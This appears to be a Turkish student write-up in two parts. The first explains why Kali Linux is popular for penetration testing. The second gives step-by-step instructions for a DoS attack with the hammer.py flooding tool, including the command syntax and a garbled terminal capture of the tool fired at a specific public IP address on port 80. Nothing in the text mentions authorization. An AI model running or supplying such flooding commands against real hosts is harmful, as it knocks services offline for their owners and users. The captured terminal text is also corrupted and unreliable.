Soru1: Neden Kali Linux tercih ediliyor?
Kali Linux, gelişmiş Penetrasyon Testi ve Güvenlik Denetimi amaçlayan Debian tabanlı bir Linux dağıtımıdır. Kali Linux, Penetrasyon Testi, Güvenlik araştırması, Adli Bilişim ve Tersine Mühendislik gibi çeşitli bilgi güvenliği görevlerine yönelik yüzlerce araç içerir.
Kali Linux, önde gelen bir bilgi güvenliği eğitim şirketi olan Offensive Security tarafından geliştirilmekte, finanse edilmekte ve sürdürülmektedir. Kali, 13 Mart 2013’te tamamen Debian geliştirme ölçütlerine bağlı kalınarak BackTrack Linux‘un yeniden yapılandırılmasıyla kullanıcıya sunuldu.
Kali Linux’un ayırt edici özellikleri
600’den fazla penetrasyon test aracı içeriyor; BackTrack’a dahil edilen bütün araçları inceleyen Kali ekibi, çalışmayan ya da işlevsiz olan araçları Kali’ye dahil etmemiştir. Hangi araçların bulunduğunu Kali Tools sitesinden inceleyebilirsiniz.
Ücretsiz; Kali Linux, BackTrack gibi tamamen ücretsizdir.
Açık kaynak; Açık kaynak geliştirme modeline bağlı kalan Kali ekibi, Kali’de kullanılan açık kaynak kodlarının tüm kullanıcılara açık olduğunu belirtti. Kali Linux’a giren tüm kaynak kodları, paketleri kendi ihtiyaçlarına göre ayarlamak veya yeniden yapılandırmak isteyen herkes için kullanılabilir.
FHS uyumludur; Kali, Linux kullanıcılarının ikili dosyaları, destek dosyalarını, kütüphaneleri vb.’lerini kolayca bulmalarını sağlayan Dosya Sistemi Hiyerarşisi Standardına bağlıdır.
Kablosuz cihaz desteği; Kali ekibi, Kali Linux’u olabildiğince çok kablosuz cihazı destekleyecek şekilde tasarlamıştır. Çok çeşitli donanımlarda düzgün çalışmasını sağlayarak çok sayıda USB ve diğer kablosuz cihazlarla uyumlu olması sağlandı.
Güvenli bir ortamda geliştirilmiştir; Kali Linux ekibi, paketler yürütmek ve depolarla etkileşimde bulunmak için güvenilir küçük bir gruptan oluşur.
GPG imzalı paketler ve depolar; Kali Linux’taki her paket, onu oluşturan ve işleyen developer tarafından imzalanır ve daha sonra veri havuzları tarafından da paketler imzalanır.
Çoklu dil desteği (Türkçe de var!); Her ne kadar penetrasyon araçları İngilizce yazılma eğiliminde olsa da, Kali’nin çok dilli destek içermesi sağlanarak daha fazla kullanıcının kendi dilinde çalışması ve iş için ihtiyaç duydukları araçları bulması sağlandı.
Etik hackerlık ve sızma testi uygulamalarından, adli bilişim ve tersine mühendisliğe kadar birçok konuda çok sayıda araç barındırdığından dolayı ve yukarıda belirtilen özellikler nedeniyle Kali Linux siber güvenlik alanında sıkça tercih edilen bir işletim sistemidir.

Soru2:DDos(Denial of Service Attack) Kali Linux Üzerinde 
DDos şöyle tarif edilir ; web server’ın kaldırabileceği yükün çok üzerinde anlık istek , anlık kullanıcı sayısı ile sistem yorulur ve cevap veremez hale getirilir.
İlk olarak konsol üzerinden   hammer’in bulunduğu dizine gidilir, dünkü denememizde yanlış dizine gittiğimizden dolayı bir sorun yaşamıştık.
“python3 hammer.py -s <hedef sistemin ip adresi> -t <ne kadar hızda paket gönderileceği belirtir> “  parameterleri kullanarak basit bir DDos saldırısı gerçekleştirilir.
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[ (kali® kald) - [~/Masaiisti)

$ cd /home/kali/Masaiistii/hanmer-master

[ (Kka1i® kali)- [~/Masaiisti/hanmer -master ]

$ python3 hammer.py -5 185.210.95.118 -t 150
185.210.95.118 port: 80 turbo: 150
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